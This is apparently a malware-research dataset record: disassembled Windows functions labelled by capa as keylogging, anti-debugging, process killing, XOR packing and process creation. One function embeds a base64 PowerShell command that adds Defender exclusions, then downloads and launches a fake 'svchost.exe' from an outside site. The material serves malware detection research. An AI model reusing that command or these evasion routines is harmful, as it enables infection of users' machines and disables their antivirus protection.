joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49719c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
mov dword [ebp - 4], edx
mov esi, eax
xor ebx, ebx
mov eax, esi
call fcn.0044b118
test al, al
je 0x49725a
mov byte [ebp - 9], 0
xor ebx, ebx
call sub.kernel32.dll_GetTickCount_1
mov dword [ebp - 8], eax
jmp 0x497238
cmp word [esi + 0x5f2], 0
je 0x4971ed
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 9]
push eax
mov ecx, dword [ebp - 8]
mov edx, esi
mov eax, dword [esi + 0x5f4]
call dword [esi + 0x5f0]
mov al, byte [esi + 0x5e8]
or al, byte [ebp - 9]
jne 0x49720f
cmp dword [ebp - 4], 0
jbe 0x49720b
call sub.kernel32.dll_GetTickCount_1
sub eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
ja 0x49720f
xor ebx, ebx
jmp 0x497211
mov bl, 1
test bl, bl
jne 0x49725a
mov eax, dword [0x4dada8]
mov eax, dword [eax]
cmp byte [eax + 0x9c], 0
jne 0x49725a
mov eax, dword [0x4dada8]
mov eax, dword [eax]
call fcn.00463d70
push 1
call sub.kernel32.dll_Sleep_1
test esi, esi
je 0x49725a
cmp byte [esi + 0x588], 0
jne 0x49725a
mov edx, 0xfffffdf3
mov eax, esi
call fcn.00476264
cmp eax, 4
jne 0x4971ca
mov byte [esi + 0x5e8], 0
test bl, bl
sete al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x49bbfc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp - 4]
inc ebx
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, esi
mov edx, ebx
call fcn.00422f4c
cmp ebx, dword [ebp - 8]
jge 0x49bc5f
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, esi
mov edx, ebx
call fcn.00423398
mov edi, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, esi
mov edx, ebx
call fcn.00423398
xor edi, eax
push edi
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, esi
mov edx, ebx
call fcn.004233c4
add ebx, 2
cmp ebx, dword [ebp - 8]
jl 0x49bc25
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x49bc68
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp - 4]
inc ebx
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, ebx
mov edx, esi
call fcn.00422f4c
cmp ebx, dword [ebp - 8]
jge 0x49bccb
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, ebx
mov edx, esi
call fcn.00423398
mov edi, eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, ebx
mov edx, esi
call fcn.00423398
xor edi, eax
push edi
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, ebx
mov edx, esi
call fcn.004233c4
add ebx, 2
cmp ebx, dword [ebp - 8]
jl 0x49bc91
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x4af948
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov bl, byte [0x4af980]
push 0x10
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x4af95e
or bl, 1
push 0x11
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x4af96d
or bl, 4
push 0x12
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x4af97c
or bl, 2
mov eax, ebx
pop ebx
ret

Function at 0x4b0d1c
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x4dada8]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4b0d42
push 0
mov eax, dword [0x4dada8]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x4bcf14
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
xor ecx, ecx
mov dword [ebp - 0x108], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x4bcfb1
push dword fs:[edx]
mov dword fs:[edx], esp
lea edx, [ebp - 4]
push edx
push eax
mov eax, dword [0x4dada8]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.shell32.dll_SHGetSpecialFolderLocation
lea eax, [ebp - 0x104]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
mov edx, ebx
lea eax, [ebp - 0x104]
call fcn.00409374
lea ecx, [ebp - 0x108]
mov eax, dword [ebx]
mov edx, 1
call fcn.00430dac
mov eax, dword [ebp - 0x108]
mov edx, 0x4bcfc8
call fcn.00404620
je 0x4bcf98
mov eax, ebx
mov edx, 0x4bcfc8
call fcn.004044dc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4bcfb8
lea eax, [ebp - 0x108]
call fcn.00404214
ret

Function at 0x4bd158
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004046c4
xor eax, eax
push ebp
push 0x4bd20c
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
jne 0x4bd1c7
push 1
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.004046d4
mov ebx, eax
push ebx
push 0x4bd218
push 0
call sub.shell32.dll_ShellExecuteA
cmp eax, 0x20
ja 0x4bd1f1
push 1
push 0
push ebx
lea eax, [ebp - 8]
call fcn.004bd87c
mov eax, dword [ebp - 8]
call fcn.004046d4
push eax
push 0x4bd218
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x4bd1f1
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.004046d4
push eax
lea eax, [ebp - 0xc]
call fcn.004bd87c
mov eax, dword [ebp - 0xc]
call fcn.004046d4
push eax
push 0x4bd218
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4bd213
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404238
ret
Function at 0x4bd87c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
mov dword [esp + 4], 1
push esp
push 0xf003f
push 0
push 0x4bd900
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
mov dword [esp + 8], pe_nt_image_headers32
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0x4bd944
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4bd8e2
mov eax, ebx
lea edx, [esp + 0xc]
mov ecx, pe_nt_image_headers32
call fcn.00404484
jmp 0x4bd8ee
mov eax, ebx
mov edx, 0x4bd950
call fcn.00404268
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
add esp, 0x10c
pop ebx
ret

Function at 0x4be214
Capabilities:
Suspend thread

Disassembly:
mov byte [eax + 0xd], 1
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_SuspendThread
ret

Function at 0x4be224
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
cmp eax, 1
jne 0x4be239
mov byte [ebx + 0xd], 0
pop ebx
ret

Function at 0x4be33c
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov ebx, eax
push 0
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_TerminateThread
mov eax, ebx
call fcn.004be2a8
mov esi, eax
mov eax, ebx
call fcn.00403420
mov eax, esi
pop esi
pop ebx
ret
Function at 0x4c1564
Capabilities:
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004046c4
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x4c16f6
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4c16c6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov dword [edi], 0x128
push edi
push esi
call sub.kernel32.dll_Process32First
mov ebx, eax
mov edx, 0x4c170c
mov eax, 0x4c173c
call fcn.0040d7b4
jmp 0x4c16b4
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404484
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.0040903c
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.004c05f8
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.004c05f8
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404620
je 0x4c1696
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404484
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.004c05f8
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.004c05f8
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404620
jne 0x4c16ab
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
push edi
push esi
call sub.kernel32.dll_Process32Next
mov ebx, eax
test ebx, ebx
jne 0x4c15f7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4c16d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c16fd
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00404238
lea eax, [ebp - 4]
call fcn.00404214
ret
Function at 0x4c78e8
Capabilities:
Link many functions at runtime

Disassembly:
mov byte [0x4da860], 0
mov eax, dword [0x4db004]
cmp dword [eax], 2
jne 0x4c7ac1
mov eax, dword [0x4dab34]
cmp dword [eax], 5
jl 0x4c7ac1
call fcn.004c4a84
test al, al
jne 0x4c7919
call fcn.004c4a90
call fcn.004c4a7c
mov dword [0x4da868], eax
push 0x4c7ac4
mov eax, dword [0x4da868]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4da82c], eax
cmp dword [0x4da82c], 0
jne 0x4c7974
mov edx, 0x8000
mov eax, 0x4c7ad8
call fcn.0040e710
mov dword [0x4da864], eax
mov eax, dword [0x4da864]
mov dword [0x4da868], eax
push 0x4c7ac4
mov eax, dword [0x4da868]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4da82c], eax
cmp dword [0x4da82c], 0
je 0x4c7abc
push 0x4c7ae4
mov eax, dword [0x4da868]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4da830], eax
cmp dword [0x4da830], 0
je 0x4c7abc
push 0x4c7af0
mov eax, dword [0x4da868]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4da834], eax
cmp dword [0x4da834], 0
je 0x4c7abc
mov byte [0x4da860], 1
push 0x4c7b00
mov eax, dword [0x4da868]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4da838], eax
push 0x4c7b0c
mov eax, dword [0x4da868]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4da83c], eax
push 0x4c7b18
mov eax, dword [0x4da868]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4da840], eax
push 0x4c7b28
mov eax, dword [0x4da868]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4da844], eax
push 0x4c7b38
mov eax, dword [0x4da868]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4da848], eax
mov edx, 0x8000
mov eax, 0x4c7b50
call fcn.0040e710
mov dword [0x4da86c], eax
cmp dword [0x4da86c], 0
je 0x4c7ac1
push 0x4c7b60
mov eax, dword [0x4da86c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4da84c], eax
push 0x4c7b7c
mov eax, dword [0x4da86c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4da850], eax
push 0x4c7b9c
mov eax, dword [0x4da86c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4da854], eax
push 0x4c7bb8
mov eax, dword [0x4da86c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4da858], eax
push 0x4c7bd0
mov eax, dword [0x4da86c]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4da85c], eax
ret
call fcn.004c7868
ret
Function at 0x4ca1f4
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov esi, ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4ca31c
push dword fs:[eax]
mov dword fs:[eax], esp
mov ax, word [ebp + 8]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, edi
call fcn.004ca0e0
mov eax, dword [esi]
call fcn.004052f8
add eax, 0x28
push eax
lea eax, [ebp - 8]
mov ecx, 1
mov edx, dword [0x4c3628]
call fcn.004054b4
add esp, 4
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x1c]
mov ecx, 0x1c
call fcn.004029b8
mov ebx, 0x1c
mov eax, dword [ebp - 8]
lea edx, [eax + ebx]
lea eax, [ebp - 0x2c]
mov ecx, 0x1c
call fcn.004029b8
add ebx, 0x1c
mov eax, dword [esi]
call fcn.004052f8
mov dword [ebp - 0xc], eax
mov eax, dword [0x4daf0c]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x30]
lea edx, [ebp - 8]
mov ecx, ebx
call fcn.004c38bc
add ebx, 4
mov eax, dword [ebp - 8]
add eax, ebx
xor ecx, ecx
mov edx, 3
call fcn.00402df4
add ebx, 3
mov eax, dword [ebp - 8]
mov byte [eax + ebx], 0x3a
inc ebx
mov eax, dword [esi]
mov byte [eax + 2], 0
mov eax, dword [esi]
mov byte [eax + 3], 0
push ebx
mov eax, dword [esi]
call fcn.004052f8
push eax
lea ecx, [ebp - 8]
mov eax, dword [esi]
xor edx, edx
call fcn.004c37ec
mov edx, dword [ebp - 8]
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x94]
mov ebx, eax
mov eax, ebx
call fcn.004c37e8
mov edx, esi
mov ecx, dword [ebp + 0x10]
call fcn.004c38b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ca323
lea eax, [ebp - 8]
mov edx, dword [0x4c3628]
call fcn.004054c0
ret

Function at 0x4cba4c
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee4
push ebx
xor edx, edx
mov dword [ebp - 0x11c], edx
mov dword [ebp - 0x118], edx
mov dword [ebp - 0x114], edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x110], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4cbb64
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4015
push 0xa3908400
push 0
call fcn.00429ee8
cmp eax, 0xcc7978
jne 0x4cbaa8
mov eax, 0x4cbb78
call fcn.0042de7c
lea eax, [ebp - 0x105]
push eax
push 0x105
call sub.kernel32.dll_GetTempPathA
lea ecx, [ebp - 0x10c]
mov edx, 4
mov eax, 0x4cbb88
call fcn.00430d94
mov eax, dword [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x110]
mov edx, 2
mov eax, 0x4cbbbc
call fcn.00430d94
mov edx, dword [ebp - 0x110]
pop eax
call fcn.00404620
jne 0x4cbb08
lea edx, [ebp - 0x114]
mov eax, 0x4cbbcc
call fcn.00408474
lea eax, [ebp - 0x118]
lea edx, [ebp - 0x105]
mov ecx, 0x105
call fcn.00404484
mov eax, dword [ebp - 0x118]
mov edx, ebx
call fcn.0040d73c
lea eax, [ebp - 0x11c]
push eax
mov ecx, 0x4cbbbc
mov edx, 0x4cbbdc
mov eax, 0x4cbbe8
call fcn.00430c74
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4cbb6b
lea eax, [ebp - 0x11c]
mov edx, 5
call fcn.00404238
ret
Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..rdata
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e072
nop
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x5e2b632c
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x42e060
nop
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x6e345ea7
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x6b78771e
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x2e457aea
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x44ba10
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 8
push esi
mov esi, dword [esp + 0x10]
push edi
mov dword [esi], 0
mov eax, dword [0x7d5a9c]
push eax
call dword [sym.imp.ole32.dll_CoRevokeClassObject]
mov cl, byte [0x7d204a]
mov dl, byte [0x7d204d]
mov eax, dword [0x7d2034]
mov edi, dword [0x7d2030]
and dl, cl
mov ecx, dword [0x7d2038]
mov byte [0x7d204d], dl
mov edx, eax
shr edx, 2
sub edi, edx
xor edx, edx
mov dl, byte [0x7d2043]
or ecx, 7
imul ecx, edx
mov dword [0x7d2030], edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
and eax, ecx
push 0x10
mov dword [0x7d2034], eax
call edi
test ax, ax
jge 0x44ba87
or dword [esi], 0x2000000
mov eax, dword [0x7d2030]
mov ecx, dword [0x7d2034]
shr eax, 0xc
or eax, ecx
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
push 0x11
fild qword [esp + 0xc]
fadd qword [0x7d2050]
fstp qword [0x7d2050]
call edi
test ax, ax
jge 0x44bac2
or dword [esi], 0x4000000
push 0x12
call edi
test ax, ax
jge 0x44bad1
or dword [esi], 0x8000000
mov eax, esi
pop edi
pop esi
add esp, 8
ret 4

Function at 0x7c85cd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x7d2388
cmp edx, dword [eax]
je 0x7c85ef
add eax, 8
inc ecx
cmp eax, 0x7d2418
jl 0x7c85e0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x7d2388]
jne 0x7c871d
mov eax, dword [0xbd98e0]
cmp eax, 1
je 0x7c86f7
test eax, eax
jne 0x7c8620
cmp dword [0x7d22b4], 1
je 0x7c86f7
cmp edx, 0xfc
je 0x7c871d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x7c8657
lea eax, [ebp - 0x1a4]
push 0x7cddb8
push eax
call fcn.007c8fb0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.007c9440
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x7c869a
lea eax, [ebp - 0x1a4]
push eax
call fcn.007c9440
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x7cddb4
push edi
call fcn.007cb310
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x7cdd98
push eax
call fcn.007c8fb0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.007c8fc0
lea eax, [ebp - 0xa0]
push 0x7cdd94
push eax
call fcn.007c8fc0
push dword [esi + 0x7d238c]
lea eax, [ebp - 0xa0]
push eax
call fcn.007c8fc0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x7cdd6c
push eax
call fcn.007cb284
add esp, 0x2c
pop edi
jmp 0x7c871d
lea eax, [ebp + 8]
lea esi, [esi + 0x7d238c]
push 0
push eax
push dword [esi]
call fcn.007c9440
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x43b638
Capabilities:
Encode data using xor

Disassembly:
mov edi, 0x43b3c1
or ecx, ecx
inc esi
call fcn.0043b66e
add ecx, 0x75767e71
xor dword [ebx], edi
sub ecx, ecx
add ebx, 1
add ecx, 0x942c2ef3
add esi, 1
and esi, ecx
cmp ebx, eax
jne fcn.0043b638
and esi, esi
or esi, ecx
ret
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0
nop
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, str._EncodedCommand__PAAjAGMAZQBxACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcgBlAGcAIwAACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbQBhAHMAIwAACAALQBGAG8AcgBjAGUAIAA8ACMAdwB3AG0AIwAADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBnAGEAbQBlAG8AdgBlAHIAZABvAHMAZQAuAHMAaQB0AGUALwBtAGUAZABrAGkAdAAvAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnACwAIAA8ACMAbABwAGIAIwAACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBxAHcAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBwAG4AdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAJwApACkAPAAjAHUAbQBsACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcARwA6AFwAVgBpAHIAdQBzAFwAQgB1AGkAbABkAHMAXABMAGUAdABoAGEAbAAgAEMAbwBtAHAAYQBuAHkALgBlAHgAZQAnACwAIAA8ACMAbgBsAGQAIwAACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAHoAZgAjAD4AIAAtAFAAYQB0AGgAIAAoACQAcAB3AGQAKQAuAHAAYQB0AGgAIAA8ACMAaQBuAGMAIwAACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABlAHQAaABhAGwAIABDAG8AbQBwAGEAbgB5AC4AZQB4AGUAJwApACkAPAAjAGMAcQBpACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGkAbgB4ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBrAHcAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAJwApADwAIwBsAHQAdwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB1AHIAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAKAAkAHAAdwBkACkALgBwAGEAdABoACAAPAAjAGsAZgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAZQB0AGgAYQBsACAAQwBvAG0AcABhAG4AeQAuAGUAeABlACcAKQA8ACMAZQByAGkAIwAAA_
push eax
mov eax, str.powershell
push eax
mov eax, str.open
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0
leave
ret
Function at 0x409430
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdd8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x228], ebx
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x220], ebx
mov esi, ecx
mov dword [ebp - 0x21c], edx
mov dword [ebp - 0x218], eax
mov eax, dword [ebp - 0x218]
call fcn.00406a8c
mov eax, dword [ebp - 0x21c]
call fcn.00406a8c
lea edi, [ebp - 0x210]
xor eax, eax
push ebp
push 0x4095cf
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
xor edx, edx
call fcn.00406aa4
xor ebx, ebx
push 0x105
mov eax, dword [ebp - 0x21c]
call fcn.00406b30
push eax
lea eax, [ebp - 0x20a]
push eax
call sub.kernel32.dll_lstrcpynW
lea eax, [ebp - 0x20a]
push eax
call sub.kernel32.dll_lstrlenW
add eax, eax
lea edx, [ebp - 0x20a]
add eax, edx
sub eax, 2
mov dword [edi], eax
jmp 0x4094d0
sub dword [edi], 2
mov eax, dword [edi]
cmp word [eax], 0x2e
je 0x4094e2
lea eax, [ebp - 0x20a]
cmp eax, dword [edi]
jne 0x4094cd
lea eax, [ebp - 0x20a]
cmp eax, dword [edi]
je 0x40959b
add dword [edi], 2
mov eax, dword [edi]
mov word [eax], 0
lea eax, [ebp - 0x20a]
mov edx, dword [edi]
sub edx, eax
sar edx, 1
jns 0x40950b
adc edx, 0
mov eax, 0x105
sub eax, edx
mov dword [ebp - 0x214], eax
lea edx, [ebp - 0x220]
mov eax, dword [ebp - 0x218]
call fcn.00408f80
cmp dword [ebp - 0x220], 0
je 0x409543
push ebp
mov eax, dword [ebp - 0x220]
call fcn.00409324
pop ecx
mov ebx, eax
jmp 0x40959b
push ebp
call sub.kernel32.dll_GetUserDefaultUILanguage
lea edx, [ebp - 0x224]
call fcn.00408b5c
